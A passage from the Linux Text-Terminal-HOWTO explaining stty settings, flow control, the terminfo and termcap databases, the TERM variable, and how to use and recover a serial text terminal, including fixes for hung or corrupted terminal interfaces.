One may write C programs which change the stty configuration, etc. Looking at some of the documentation for this may help one better understand the use of the stty command (and its many possible arguments). Serial-Programming-HOWTO is useful. The manual page: termios contains a description of the C-language structure (of type termios) which stores the stty configuration in computer memory. Many of the flag names in this C-structure are almost the same (and do the same thing) as the arguments to the stty command.

Flow control options

To set hardware flow control use "crtscts". For software flow control there are 3 settings: ixon, ixoff, and ixany.

ixany: Mainly for terminals. Hitting any key will restarts the flow after a flow-control stop. If you stop scrolling with the "stop scroll" key (or the like) then hitting any key will resume scrolling. It's seldom needed since hitting the "scroll lock" key again will do the same thing.

ixon: Enables the port to listen for Xoff and to stop transmitting when it gets an Xoff. Likewise, it will resume transmitting if it gets an Xon.

ixoff: enables the port to send the Xoff signal out the transmit line when its buffers in main memory are nearly full. It protects the device where the port is located from being overrun.

For a slow dumb terminal (or other slow device) connected to a fast PC, it's unlikely the the PC's port will be overrun. So you seldom actually need to enable ixoff. But it's often enabled "just in case".

Using stty at a "foreign" terminal

Using stty to configure the terminal that you are currently using is easy. Doing it for a different (foreign) terminal or serial port may be impossible. For example, let's say you are at the PC monitor (tty1) and want to use stty to deal with the serial port ttyS2. Prior to about 2000 you needed to use the redirection operator "<". After 2000 (provided your version of setserial is >= 1.17 and stty >= 2.0) there is a better method using the -F option. This will work when the old redirection method fails. Even with the latest versions be warned that if there is a terminal on ttyS2 and a shell is running on that terminal, then what you see will likely be deceptive and trying to set it will not work. See Two interfaces at a terminal to understand it.

The new method is ``stty -F /dev/ttyS2 ...'' (or --file instead of F). If ... is -a it displays all the stty settings. The old redirection method (which still works in later versions) is to type ``stty ... </dev/ttyS2''. If the new method works but the old one hangs, it implies that the port is hung due to a modem control line not being asserted. Thus the old method is still useful for troubleshooting. See the following subsection for details.

Old redirection method

Here's a problem with the old redirection operator (which doesn't happen if you use the newer -F option instead). Sometimes when trying to use stty, the command hangs and nothing happens (you don't get a prompt for a next command even after hitting <return>). This is likely due to the port being stuck because it's waiting for one of the modem control lines to be asserted. For example, unless you've set "clocal" to ignore modem control lines, then if no CD signal is asserted the port will not open and stty will not work for it (unless you use the newer -F option). A similar situation seems to exist for hardware flow control. If the cable for the port doesn't even have a conductor for the pin that needs to be asserted then there is no easy way to stop the hang.

One way to try to get out of the above hang is to use the newer -F option and set "clocal" and/or "crtscts" as needed. If you don't have the -F option then you may try to run some program (such a minicom) on the port that will force it to operate even if the control lines say not to. Then hopefully this program might set the port so it doesn't need the control signal in the future in order to open: clocal or -crtscts. To use "minicom" to do this you likely will have to reconfigure minicom and then exit it and restart it. Instead of all this bother, it may be simpler to just reboot the PC.

The old redirection method makes ttyS2 the standard input to stty. This gives the stty program a link to the "file" ttyS2 so that it may "read" it. But instead of reading the bytes sent to ttyS2 as one might expect, it uses the link to find the configuration settings of the port so that it may read or change them. Some people tried to use ``stty ... > /dev/ttyS2'' to set the terminal. This will not do it. Instead, it takes the message normal displayed by the stty command for the terminal you are on (say tty1) and sends this message to ttyS2. But it doesn't change any settings for ttyS2.

Two interfaces at a terminal

When using a shell (such as bash) with command-line-editing enabled there are two different terminal interfaces (what you see when you type stty -a). When you type in modern shells at the command line you have a temporary "raw" interface (or raw mode) where each character is read by the command-line-editor as you type it. Once you hit the <return> key, the command-line-editor is exited and the terminal interface is changed to the nominal "cooked" interface (cooked mode) for the terminal. This cooked mode lasts until the next prompt is sent to the terminal (which is only a small fraction of a second). Note that one never gets to type anything to this cooked mode but what was typed in raw mode gets executed while in cooked mode.

When a prompt is sent to the terminal, the terminal goes from "cooked" to "raw" mode (just like it does when you start an editor since you are starting the command-line editor). The settings for the "raw" mode are based only on the basic settings taken from the "cooked" mode. Raw mode keeps these setting but changes several other settings in order to change the mode to "raw". It is not at all based on the settings used in the previous "raw" mode. Thus if one uses stty to change settings for the raw mode, such settings will be permanently lost as soon as one hits the <return> key at the terminal that has supposedly been "set".

Now when one types stty to look at the terminal interface, one may either get a view of the cooked mode or the raw mode. You need to figure out which one you're looking at. It you use stty from another (foreign) terminal then you will see the raw mode settings. Any changes made will only be made to the raw mode and will be lost when someone presses <return> at the terminal you tried to "set". But if you type a stty command at your terminal (without the -F option or redirection) and then hit <return> it's a different story. The <return> puts the terminal in cooked mode. Your changes are saved and will still be there when the terminal goes back into raw mode (unless of course it's a setting not allowed in raw mode).

This situation can create problems. For example, suppose you corrupt your terminal interface. To restore it you go to another terminal and "stty -F dev/ttyS1 sane" (or the like). It will not work! Of course you can try to type "stty sane ..." at the terminal that is corrupted but you can't see what you typed. All the above not only applies to dumb terminals but to virtual terminals used on a PC Monitor as well as to the terminal windows in X. In other words, it applies to almost everyone who uses Linux.

Luckily, when you start up Linux, any file that runs stty at boot-time will likely deal with a terminal (or serial port with no terminal) that has no shell running on it so there's no problem for this special case.

Where to put the stty command ?

Should you need to have stty set up the serial interface each time the computer starts up then you need to put the stty command in a file that will be executed each time the computer is started up (Linux boots). It should be run before the serial port is used (including running getty on the port). There are many possible places to put it. If it gets put in more than one place and you only know about (or remember) one of those places, then a conflict is likely. So make sure to document what you do.

One place to put it would be in the same file that runs setserial when the system is booted. The location is distribution and version dependent. It would seem best to put it after the setserial command so that the low level stuff is done first. If you have directories in the /etc tree where every file in them is executed at boot-time (System V Init) then you could create a file named "stty" for this purpose.

14.5 Terminfo & Termcap (brief)

See Terminfo and Termcap (detailed) for a more detailed discussion of termcap. Many application programs that you run use the terminfo (formerly termcap) data base. This has an entry (or file) for each model or type (such as vt100) of terminal and tells what the terminal can do, what codes to send for various actions, and what codes to send to the terminal to initialize it.

Since many terminals (and PC's also) can emulate other terminals and have various "modes" of operation, there may be several terminfo entries from which to choose for a given physical terminal. They usually will have similar names. The last parameter of getty (for both agetty and getty_ps) should be the terminfo name of the terminal (or terminal emulation) that you are using (such as vt100).

The terminfo does more than just specify what the terminal is capable of doing and disclose what codes to send to the terminal to get it to do those things. It also specifies what "bold" will look like (will it be reverse video or will it be high intensity, etc.), what the cursor will look like, if the letters will be black, white, or some other color, etc. In PC terminology these are called "preferences". It also specifies initialization codes to send to the terminal (analogous to the init strings sent to modems). Such strings are not automatically sent to the terminal by Linux. See Init String. If you don't like the way the display on the screen looks and behaves you may need to edit (and then update) the terminfo (or termcap) file. See Terminfo Compiler (tic) for how to update.

14.6 Setting TERM and TERMINFO

These are two environment variables for terminals: TERM and TERMINFO, but you may not need to do anything about them. TERM must always be set to the type of the terminal you are using (such as vt100). If you don't know the type (name) see What is the terminfo name of my terminal ?. TERMINFO contains the path to the terminfo data base, but may not be needed if the database is in a default location (or TERMINFO could be set automatically by a file that comes with your distribution of Linux). You may want to look at Compiled database locations.

Fortunately, the getty program usually sets TERM for you just before login. It just uses the terminal type that was specified on getty's command line (in /etc/inittab). This permits application programs to find the name of your terminal and then look up the terminal capabilities in the terminfo data base. See TERM Variable for more details on TERM.

If your terminfo data base can't be found you may see an error message about it on your terminal. If this happens it's time to check out where terminfo resides and set TERMINFO if needed. You may find out where the terminfo database is by searching for a common terminfo file such as "vt100" using the "locate" command. Make sure that your terminal is in this database. An example of setting TERMINFO is: export TERMINFO=/usr/share/terminfo (put this in /etc/profile or the like). If the data for your terminal in this data base is not to your liking, you may need to edit it. See Terminfo & Termcap (brief).

What is the terminfo name of my terminal ?

You need the exact name in order to set the TERM environment variable or to give to getty. The same name should be used by both the termcap and terminfo databases so you only need to find it once. A terminal usually has alias names but if more than one name is shown, use the first one.

To find it, try looking at the /etc/termcap... file (if you have it). If not, then either look at the terminfo trees (see Compiled database locations) or try to find the terminfo source code file (see Source-code database locations.

14.7 Rarely Needed /etc/ttytype File

The configuration file /etc/ttytype is used to map /dev/ttySn's to terminal names per terminfo. tset uses it, but if the TERM environment variable is already set correctly, then this file is not needed. Since the Linux getty sets TERM for each tty, you don't need this file. In other Unix-like systems such as FreeBSD, the file /etc/ttys maps ttys to much more, such as the appropriate getty command, and the category of connection (such as "dialup"). An example line of Linux ttytype: vt220 ttyS1

14.8 Login Restrictions

By default, the root user may not login from a terminal. To permit this you must create (or edit) the file /etc/securetty per the manual page "securetty". To restrict logins of certain users and/or certain terminals, etc. edit /etc/login.access (this replaces the old /etc/usertty file ??). /etc/login.def determines if /etc/securetty is to be used and could be edited so as to make /etc/securetty not needed (or not used). /etc/porttime restricts the times at which certain ttys and users may use the computer. If there are too many failed login attempt by a user, that user may be prohibited from ever logging in again. See the man page "faillog" for how to control this.

14.9 Run Command Only If TERM=my_term_type

Sometimes there are commands that one wants to execute at start-up only for a certain type of terminal. To do this for the stty command is no problem since one uses the redirection operator < to specify which terminal the command is for. But what about shell aliases or functions? You may want to make a function for the ls command so it will color-code the listing of directories only on color terminals or consoles. For monochrome terminals you want the same function name (but a different function body) which will use symbols as a substitute for color-coding. Where to put such function definitions that are to be different for different terminals?

You may put them inside an "if" statement in /etc/profile which runs at startup each time one logs on. The conditional "if" statement defines certain functions, etc. only if the terminal is of a specified type.

Example for ls Function

While much of what this if statement does could be done in the configuration file for dircolors, here's an example for the case of the bash shell:

if [ "$TERM" = linux ]; then
    eval `dircolors`;
elif [ "$TERM" = vt220 ]; then
    ls () { command ls -F $* ; }# to export the function ls():
    declare -xf ls
else echo "From /etc/profile: Unknown terminal type $TERM"
fi

14.10 Character Mapping: mapchan

There is a program named "mapchan" which will map characters (bytes) typed at a terminal keyboard (input) into different characters per a user-supplied mapping table. It can also map characters which are sent to the screen (output). This is nice for remapping the keyboard for foreign language alphabets. Most distributions don't seem to supply it (let me know if any do). Source code by Yura Kalinichenko (Ukraine) is at http://www.kron.vinnica.ua/free/download/


Text-Terminal-HOWTO: Terminfo and Termcap (detailed)

 Next Previous Contents

15. Terminfo and Termcap (detailed)

15.1 Intro to Terminfo

Terminfo (formerly Termcap) is a database of terminal capabilities and more. For every (well almost) model of terminal it tells application programs what the terminal is capable of doing. It tells what escape sequences (or control characters) to send to the terminal in order to do things such as move the cursor to a new location, erase part of the screen, scroll the screen, change modes, change appearance (colors, brightness, blinking, underlining, reverse video etc.). After about 1980, many terminals supported over a hundred different commands (some of which take numeric parameters).

One way in which terminfo gives the its information to an application program is via the "ncurses" functions that a programmer may put into a C program. For example, if a program wants to move the cursor to row 3, col 6 it simply calls: move(3,6). The move() function (part of ncurses) knows how to do this for your terminal (it has read terminfo). So it sends the appropriate escape sequence to the terminal to make this particular move for a certain terminal. Some programs get info directly from a terminfo files without using ncurses. Thus a Linux package that doesn't require ncurses may still need a terminfo file for your terminal.

The terminfo abbreviations are usually longer than those of termcap and thus it's easier to guess what they mean. The manual pages for terminfo are more detailed (and include the old termcap abbreviations). Also, the termcap entries had a size limitation which is not present for terminfo. Thus, unless you are already committed to working with termcap, it's suggested you use terminfo.

15.2 Terminfo Database

Introduction

The terminfo database is compiled and thus has a source part and a compiled part. The old termcap database has only a source part but this source can, by a single command, be both converted to terminfo source and then compiled. Thus you may get by without having any terminfo source since the termcap source can create the compiled terminfo database. To see a display of the database for the terminal you're now using (including a PC monitor) type "infocmp" and you should see the source terminfo "file" for it.

To see if your terminal (say vt100) is in the terminfo data base type "locate vt100". If you need to find the terminfo name for your terminal, explore the listing of files in the compiled database or see What is the terminfo name of my terminal ?

Where is the database located ?

Compiled database locations

Typing "locate vt100" may show /usr/lib/terminfo/v/vt100, /usr/share/terminfo/v/vt100, /home/.../.terminfo/v/vt100, and/or /etc/terminfo/v/vt100. All these are possible locations of the compiled terminfo files. Although the /etc/terminfo directory is not a standard location for it, having a few terminal types there could be useful in case the /usr directory is not accessible. For example /usr could be on a separate disk or partition that failed to mount. Normally, programs that use your main terminfo data base are able to find it if it's in at least one of the locations mentioned above. Otherwise the environment variable TERMINFO may be set to the path to this database. Example: TERMINFO=/usr/share/terminfo

For the Debian Distribution of Linux, several commonly used terminals (including the monitor-console) are in the ncurses-term package. These are put into /etc/terminfo/. All of the terminals in the database are in the ncurses-bin package and go into /usr/share/terminfo/.

If the compiled terminfo is in more than one location, everything is usually OK until someone installs new terminfo files (from a newer distribution, from the net, by editing the old one, etc.). Each new terminfo file needs replace all the existing older copies of that file (at various locations) unless you abolish redundant locations. If you don't ensure this gets done, then some application programs could wind up still finding and using the old (and possibly buggy) terminfo data that sill exists in a "possible" location. Setting the environment variable TERMINFO to the up-to-date location (as mentioned above) would help avoid this problem.

Source-code database locations

While the source-code file may not be installed on your computer there's another way to get the source-code if you have the compiled code. Just use the "infocmp" command.

The source code file (for all terminals) may be /etc/termcap and/or terminfo.src (or another name). See the man pages: terminfo(5) or termcap(5) for the format required to create (or modify) these source files. The file terminfo.src may be in various locations on your computer or it may not be included with your Linux distribution. Use the locate command to try to find it. It is available on the web at http://www.tuxedo.org/terminfo/.

Terminfo Compiler (tic)

The data in the source files is compiled with the "tic" program which is capable of converting between termcap format and terminfo format. Thus you can create a compiled terminfo data base from termcap source. The installation program which was used to install Linux probably installed the compiled files on your hard disk so you don't need to compile anything unless you modify /etc/termcap (or terminfo.src ). "tic" will automatically install the resulting compiled files into a terminfo directory ready to be used by application programs. Which location it's installed in depends on ... See "man tic" for the explanation.

Look at Your Terminfo

It's a good idea to take a look at the terminfo entry for the terminal you are using (source code of course) and read the comments. A quick way to inspect it without comments is to just type "infocmp". But the comments may tell you something special about the terminal such as how you need to set it up so that it will work correctly with the terminfo database.

Deleting Data Not Needed

In order to save disk space, one may delete all of the terminfo database except for the terminals types that you have (or might need in the future). Don't delete any of the termcaps for a "Linux terminal" (the console) or the xterm ones if you use X Window. The terminal type "dumb" may be needed when an application program can't figure out what type of terminal you are using. It would save disk space if install programs only installed the terminfo for the terminals that you have and if you could get a termcap for a newly installed terminal over the Internet in a few seconds.

15.3 Bugs in Existing Terminfo Files (and Hardware)

Unfortunately, there are a number of bugs in the terminfo and termcap files. In addition, many of these terminfo files are incomplete and do not define certain features available on the terminals. Sometimes you can get by without modifying the terminfo but in other cases you need to modify it or possibly use another emulation that has a good terminfo.

The sad state of the supplied terminfo files is due to a number of reasons. One is that during the 1980's when many of them were written (often in termcap format), application programs did not utilize more advanced terminal features. Thus if such feature were not in the termcap (or terminfo) file, no one complained. Today, programs such as vim use "context highlighting" and minicom uses the terminal's graphics character set. These often need more definitions to be added to the old termcap. This may (or may not) have already been done.

Most terminals had hardware bugs (in their firmware) and sometimes these were "fixed" by modifying the termcap. Then the manufacturer might send out replacement chips which would fix the bug. Not all owners would bother to get the replacement chips. Thus there may be 2 or more terminfos for your terminal, depending on what firmware chips it has in it. This situation was often not noted in the termcap and only one termcap may be supplied with Linux. Some hardware bugs which existed for features that were almost never used in the past likely never did get fixed. Also, some reported hardware bugs may never have been fixed since they were not of much significance at the time or because the company went out of business, etc.

15.4 Modifying Terminfo Files

To do this you need a manual for your terminal showing what escape sequences it uses. Newer manuals from the 1990's often don't show this. You also need a terminfo manual (the man page "terminfo" is one). After you edit the terminfo source file you compile it using "tic". "tic" should automatically put the compiled terminfo file in the correct directory reserved for it.

If you would like to find a better terminfo entry for a certain terminal than the one supplied, you might try searching the Internet (but what you find could be worse). If your new terminfo entry is better than the old one and it seems stable (you've used it for a while with no problems) then you should send a copy to the maintainer of terminfo as noted at the start of the source file for terminfo (or termcap).

15.5 Init String

Included in the terminfo are often a couple of initialization strings which may be sent to the terminal to initialize it. This may change the appearance of the screen, change what mode the terminal is in, and/or make the terminal emulate another terminal. An initialization string is not automatically sent to the terminal to initialize it. One might expect that the getty program should do this but if it did, one could make a change to the set-up at the terminal and this change wouldn't be happen because the init string would automatically cancel it. Application programs don't seem to initialize either. To do this you must use a command given on the command line (or in a shell script such as /etc/profile) to send the init strings. Such commands are: "tset", "tput init", or "setterm -initialize". Sometimes there is no need to send the init strings since the terminal may set itself up correctly when it is powered on (using options/preferences one has set up and saved in the non-volatile memory of the terminal).

15.6 TERM Variable

The Environment variable TERM should be set to the name of terminal which you are using. If TERM hasn't been set yet and you don't know the name of your terminal see What is the terminfo name of my terminal ?. It is normally set by the terminal_type parameter passed to the getty program (look at it in the /etc/inittab file). This name must be in the Terminfo data base. Just type "set" at the command line to see what TERM is set to (or type: tset -q). At a console (monitor) TERM is set to "linux" which is the PC monitor emulating a fictitious terminal model named "linux". Since "linux" is close to a vt100 terminal and many text terminals are also, the "linux" designation will sometimes work as a temporary expedient with a text terminal.

If more than one type of terminal may be connected to the same port (/dev/tty...) (for example, if there is a switch to permit different terminal types to use the same serial port, or if the port is connected to a modem to which people call in from different types of terminals) then TERM needs to be set each time someone connects to the serial port. There is often a query escape sequence so that the computer may ask the terminal what type it is. Another way is to ask the user to type in (or select) the type of terminal s/he is using. You may need to use tset for this or write a short shell script to handle this.

One way to do this is to use "tset" (see the manual page). tset tries to determine the terminal name of the terminal you are using. Then it looks up the data in terminfo and sends your terminal an init string. It can also set the value of TERM. For example, a user dials in and logs in. The .profile login script is executed which contains within it the following statement: eval `tset -s ?vt100`. This results in: The user is asked if s/he is using a vt100. The user either responds yes or types in the actual terminal type s/he is using. Then tset sends the init string and sets TERM to this terminal name (type).

15.7 Terminfo/Termcap Documents

  • manual pages for terminfo(5) (best) and/or termcap(5). The Termcap Manual (2nd ed.) by Richard M. Stallman is a GNU manual which is somewhat obsolete since it doesn't include terminfo.
  • the files: terminfo.src and /etc/termcap have info about various versions of termcap files, naming conventions for terminals, and special capabilities code named u6-u9. If you don't have one, go to http://tuxedo.org/terminfo/
  • "Termcap and Terminfo" is a book published by O'Reilly in 1988.


Text-Terminal-HOWTO: Using the Terminal

 Next Previous Contents

16. Using the Terminal

16.1 Intro to Using the Terminal

This section is about controlling the terminal-computer interface and/or changing the terminal set-up while using the terminal. It explains (or points to explanations of) how the user of a terminal can control and inspect the interface and how to use various commands provided by the device driver. It does not explain how to use the many application programs, shells or most Linux utilities. Two commands commonly used at the terminal are:

  • clear (to clear the screen)
  • reset (to reset the terminal
  • setterm -reset (alternative for "reset" in case of bug)

16.2 Starting Up the Terminal

Of course the power must be on for the terminal to work. If you don't see a login prompt hit the "return" (or "enter") key a few times. Then type your account name (followed by a return/enter) and your password when prompted for it (also followed by return/enter). Make sure not to type all capital letters. If you do, the computer may think that you have an old terminal that can't send lowercase letters and the serial driver may set itself up to send only capital letters to the terminal.

If nothing happens, make sure that both the host computer and the terminal are OK. If the host computer is shut down (no power) what you type at the terminal keyboard may appear on the screen since the transmit and receive pins at the computer may be connected together resulting in echoing of characters by an "off" computer. If you can't log in when the host computer is running, see Trouble-Shooting.

16.3 Terminal (Serial) Device Driver

When typing at the command line, the shell (such as the Bash shell) is reading what you type and reacting to it. What you type first passes thru the terminal driver part of your operating system. This driver may translate certain characters (such as changing the "return" character generated by the "return" key into a "new-line" character for Linux files). It also recognizes certain control codes which you may type at the keyboard such as ^C to interrupt the execution of a program. It also normally echoes what you type back to the display. Stty may be used to configure how this terminal driver behaves, including disabling some (or all) of its functionality.

16.4 Problems with Editors

There may be some problems with using both emacs and vi on some terminals. A few terminals have no escape key (ESC) so you may need to type Ctrl-[ to get ESC.

emacs

If software flow control exists, then the ^S command in emacs will freeze the display. The ^Q command will unfreeze the display. One fix is to map this to another key-press by configuring emacs that way. Some terminals have meta keys although you may need to setup the terminal to create a meta key.

vi and Cursor-Keys

Vi uses the esc-key as a command to exit insert mode. Unfortunately for most terminals the arrow-keys send an an escape sequence (starting with the ESC character) to the host. Vi must distinguish between these two meanings of ESC. A smart vi (such as vim if configured for it) is able to detect the difference by noting the time between the ESC and the next key. If it's a short time, then it's likely that a cursor key was pressed. Use "help cursor-keys" in vim to find out more.

Here's another way to fix this. On VT terminals the left-arrow-key may be either set to send ESC [ D or ESC O D. The other arrow keys are similar but use A, B, and C instead of D. If you're having problems, choose ESC [ D since the "O" in the other alternative could be interpreted by vi as a command to "Open a line". The "[" should be interpreted by vi to mean that an arrow-key has been pressed. ESC [ D will be sent provided "Cursor Key Application Mode" has not been set. ESC [ D is normally the default so everything is seemingly OK. Except that many termcaps contain a string (not the init string) which sets what you want to avoid: "Application Mode". Editors may send this string to the terminal when the editor starts up. Now you are in trouble.

This string has the termcap code "ks" (smkx in terminfo) meaning enable the function (and related) keys (including the arrow keys). An application enables these keys by sending the "ks" string to the terminal. Whoever wrote the termcap reasoned that if an application wants to enable these keys, then they should be put into "Application Key Mode" since this is an "application", but you don't want this.

The Linux console has no "ks" string so you can't fall into this trap at the console. For other terminals you may need to edit the termcap (or terminfo) or use another termcap entry. You need to change not only the "ks" string but also the termcap definitions of what they send: kd, kl, kr, ku. Then run tic to install it.

For vim (vi iMproved) there is a way to set it up to work OK with ESC O D (so you don't need to edit termcap): See vim help for "vt100-cursor-keys". You may run "gitkeys" and then press your cursor keys to see what they send but they may be set to send something different when you're in an editor.

16.5 Bugs in Bash

There have been problems with the readline interface to the Bash shell. Bash 2.01 (1998) had a readline interface which was quite corrupted if one used a dumb terminal. This was fixed in later versions. One problem still outstanding is that if certain terminal keys send bytes with the high order bit set to 1, then Bash seems to ignore the meaning for them as defined in a terminfo entry. I've reported this as a bug in Bash. Other programs such as the vim editor and the lynx browser work OK with such keys.

To work around this problem one may define what these keys should do in Bash by putting such definitions into /etc/inputrc. For example, A Wyse 60 will send D0-D3 when the arrow-keys are hit provided the terminal is in "application key mode". After modifying the terminfo to reflect this, they still wouldn't work on the command line in the Bash shell. So I explicitly defined the arrow-keys in /etc/inputrc like this:

# Arrow keys in 8 bit keypad mode: Sends d0-d4.  -ap means application.
$if term=wy60-25-ap
set enable-keypad on
"\xd0":         backward-char
"\xd1":         forward-char
"\xd2":         next-history
"\xd3":         previous-history
$endif

If the terminal is already in "application key mode" there's no need to "set enable-keypad on". enable-keypad will send the terminal the escape sequence named smkx in terminfo (which for wyse60 is \E 3 and makes the arrow keys send D1-D3). Many other application send this without needing to be told to do so.

16.6 Color ls Corruption

If ls is corrupting your terminal emulation with the color feature, turn it off. ls --color, and ls --colour all use the color feature. Some installations have ls set to use color by default. Check /etc/profile, etc. for ls aliases. See Example for ls Function for how to have ls do color for the console and do monochrome for terminals.

16.7 Display Freezes (hung terminal)

The symptom of a hung terminal is where what you type doesn't display on the terminal (or in some cases displays but doesn't do anything). If what you type is invisible (or does nothing) type ^Q to restart flow (if flow control stopped it). Hanging may also be due to:
Sent terminal binary or Abnormally exited a program
If you didn't do any of these two, then the program you're running could by buggy or you interaction with it fatally illegal.

If you want to quit the program you were running and you can't do it by the usual methods (some programs have special keys you must hit to exit) then try killing it from another terminal using "top" or "kill". If the process refuses to die, then kill it with signal 9 from top (or use "kill" on the command line). The "9" type of forced exit may leave some temporary files lying around as well as a corrupted interface. If this doesn't work, killing the login shell should result in a startup of getty with a new login prompt. If all else fails, you may need to reboot the computer or even power it down. Just rebooting may not alter the possibly corrupted content of the serial port hardware registers.

People new to Linux may unintentionally press Ctrl-S (^S) (or the "No Scroll" key) which mysteriously freezes the screen (although that is what this key is supposed to do if you use software flow-control). To restore normal screen interaction, press Ctrl-Q (^Q). Note that everything typed during the "freeze" gets executed but you don't see any report of this until you hit ^Q. Thus when it's frozen, don't type anything drastic that might destroy files, etc. One argument for using hardware flow-control is to prevent such freezes.

16.8 Corrupted Terminal Interface

This includes the case of a "frozen display" = "hung terminal" of the previous section.

Symptoms and some fixes

When the display doesn't look right, or when what you type doesn't display correctly (if at all), or nothing happens when you type a command, you may have a corrupted terminal interface. In rare cases, when the serial port hardware gets itself corrupted, the only fix may be to cycle power (turn off the PC and reboot). In some cases just cycling power for the terminal will fix it. Sometimes logging in again will solve the problem. To do this, kill the shell process running on the terminal (or kill getty if it's running). You may do this from another terminal. Once killed, a new getty process respawns which hopefully will end the corruption. Recycling power (or resetting) for the terminal may help too.

The corruption may be due to things such as:

  • A bug in the program you're using (including a program which erroneously assumes that you are using a terminal of type "linux")
  • A hardware failure (including an obscure hardware defect that you can normally live with)
  • Incorrect configuration (including an error in the terminfo or the terminal type)
If everything was working normally but it suddenly goes bad, it may be that the interface got corrupted by something you did. Three mistakes you might have made to corrupt the interface are:

  • Sent terminal binary
  • Abnormally exited a program
  • Typed ctrl-S by mistake

Sent terminal binary characters

Your terminal will change its characteristics if sent certain escape sequences or control characters. It you inadvertently try to display a binary file, it might by chance contain such sequences which may put your terminal into some strange mode of operation or even make it unusable. Always view or edit a binary file with programs designed for that purpose so that this doesn't happen. Most editors and pagers will handle binary OK so as not to corrupt the interface. Some may display a message telling you that they can't edit binary. But you're likely to corrupt things if you: "cat ...." or "cp .... /dev/tty.." or run a program which sends binary output to "standard output" (unless you redirect such output with >, etc.).

Corruption can also happen when using a communications program where a remote computer may send binary to your screen. There are numerous other ways it can happen so be prepared for it. Even a supposedly text file could contain unwanted control codes.

To fix this problem reset the terminal. Type either just "reset" (may be broken) or "setterm -reset" (followed by a <return> of course). You may not be able to see what you're typing. This will send the reset string from the terminfo entry to the terminal. As an alternative to this, if the correct set-up has been saved inside the terminal then pressing a special key(s) (perhaps in setup mode) may restore the settings. Then you might still need to use "tset" to send the init string if you use it to set up your terminal.

Reset command was broken but now fixed

Note that in 2000 the "reset" command appeared to be broken for terminals that needed "clocal" set since "reset" seemed to unset "clocal". In 2001 it appears to be fixed so you may not need to read the rest of this paragraph. If you have this problem, using "reset" will only make the situation worse by disabling communication between the terminal and computer. You will likely need to log in again and hope the getty sets "clocal". If you see a login prompt without asking for it, you're in luck. Otherwise see Symptoms and some fixes for how to get a login prompt. You should try out "reset" before you need it and use "setterm -reset" if "reset" logs you out or otherwise doesn't work right. I submitted a bug report in Mar. 2000 but never got a "fixed" notice.

Character corruption

For the case where you see strange "graphic" characters instead of the normal ones, pressing ^O may switch back to the normal letters. The "reset" command also does this but it resets everything else too.

There's the case where all letters have the wrong attribute (too dim, bright, blinking, or even invisible :-) but the whitespace created by tab characters is normal. This was caused by an escape sequence which set this attribute but the attribute doesn't apply to the whitespace created by tab characters. Fix by resetting, etc.

Abnormally exited a program

Large application programs (such as editors) often use the stty command (or the like) in their code to temporarily change the stty configuration when you are running the program. This may put the device driver into "raw" mode so that every character you type goes directly thru to the application program. Echoing by the driver is disabled so that everything you see on the screen comes directly from the application program. Thus many control commands (such as ^C) may not work within such applications.

When you tell such an application to quit, the application program first restores the stty settings to what they were before the application program started. If you abnormally exit the program then you may still be in "raw mode" on the command line. You should suspect this has happened when what you type no longer displays on the screen.

To get out of raw mode and restore the normal stty settings type "stty sane". However, you must type this just after a "return" and end it with a "return". But hitting the "return" key doesn't do the job since the "return" code no longer gets translated to the new-line characters that the shell is waiting for. So just type new-line (^J) instead of "return". The "sane" terminal interface may not be exactly the same as the normal one but it usually works. "stty sane" may also be useful to get out of a corrupted interface due to other causes.

16.9 Special (Control) Characters

A number of control characters which you may type at the keyboard are "caught" by the terminal driver and perform various tasks. To see these control commands type: stty -a and look at lines 2-4. They are tersely explained in the stty manual pages. They may be changed to different control characters or disabled using the stty command. Thus your control characters might be different than those described below. They are used for command-line editing, interrupting, scrolling, and to pass the next character thru transparently.

Command-Line Editing

While the terminal driver has a few commands for command-line editing, some shells have a built-in real editor (such as "readline" in the Bash shell). Such an editor is normally on by default so you don't need to do anything to enable it. If it's available you don't need to learn many of the following commands although they often still work along with the command-line editor. The most important to learn are ^C (interrupt), ^D, and how to stop scrolling.

  • Delete-key (shown by stty as ^?) erases the last character
  • ^U kills (deletes) the line
  • ^W deletes a word backwards
  • ^R reprints the line. Useful mainly on hard copy terminals ??

Interrupting (& Quit, Suspend, EOF, Flush)

  • ^C interrupts. Exits the program and returns you to the command-line prompt.
  • ^/ quits. Same as interrupt ^C but weaker. Also dumps a "core" file (which you likely have no use for) into your working directory.
  • ^Z suspends. Stops the program and puts it in the background. Type fg to restart it.
  • ^D end of file. If typed at the command-line prompt, exits the shell and goes to where you were before the shell started.
  • ^O flush (or discard). Not yet implemented in Linux (but proposed). Sends output to /dev/null.
  • ^T display driver status. Not yet implemented in Linux (but proposed). Displays a status line for the interface (number of bytes sent, etc.).

Stop/Start Scrolling

If what you want to see scrolls off the bottom of the screen, you may prevent this by sending a "stop" signal (^S or Xoff) to the host (provided Xon-Xoff Flow Control is enabled). Send a "start signal to resume (^Q or Xon). Some terminals have a "No Scroll" key which will alternately send Xoff and Xon or possibly send the hardware flow control signals ?? Here's what ctrl-S (^S) and ctrl-Q (^Q) do:

  • ^S stops scrolling (Xoff)
  • ^Q resume scrolling (Xon)

If you want to both stop scrolling and quit, use ^C. If you want to stop scrolling to do something else but want to keep the program that was generating the output in memory so you can resume scrolling later, use ^Z suspend.

An alternative scrolling method is to pipe the output thru a pager such as more, less, or most. However, the output might not be standard output but could be error output which the pager doesn't recognize. To fix this you may need to use redirection "2>&1" to get the pager to work OK. It is often simpler to just use ^S and ^Q unless you need to scroll backwards.

At a PC console (emulating a terminal) you may scroll backwards by using Shift-PageUp. This is frequently needed since the scrolling is often too fast to stop using ^S. Once you've scrolled backwards Shift-PageDown will scroll forward again.

Take next character literally

^V sends the next character typed (usually a control character) directly thru the device driver with no action or interpretation. Echoed back are two ASCII characters such as ^C.

16.10 Viewing Latin1 Files on a non-Latin1 terminal

Some "text" files are 8-bit Latin1 (=ISO-8859-1). See Character-Sets. If you have a terminal that will not display Latin1 (or don't have the Latin1 character set installed), then certain symbols (such as a bullet) will display wrong. When viewing manual pages (they are Latin1) you may give the option -7 to man so as to translate everything to ASCII. Are there some pagers that make these translations ??

16.11 Eliminating Overstriking in Files

If one uses the "man" command to view a manual page but instead redirects the output to a file, that file will have overstrikes in it. Overstrikes are where some printed characters appear bold by printing them twice in the same location. Thus to print an overstrike character the file contains a backspace after the character and then the same character repeated. If this is in a file, it's fine if you are going to print it on a printer (unless the normal output from the printer is so darks that overstriking makes little improvement). But it's not so good if you want to use the file to email or edit.

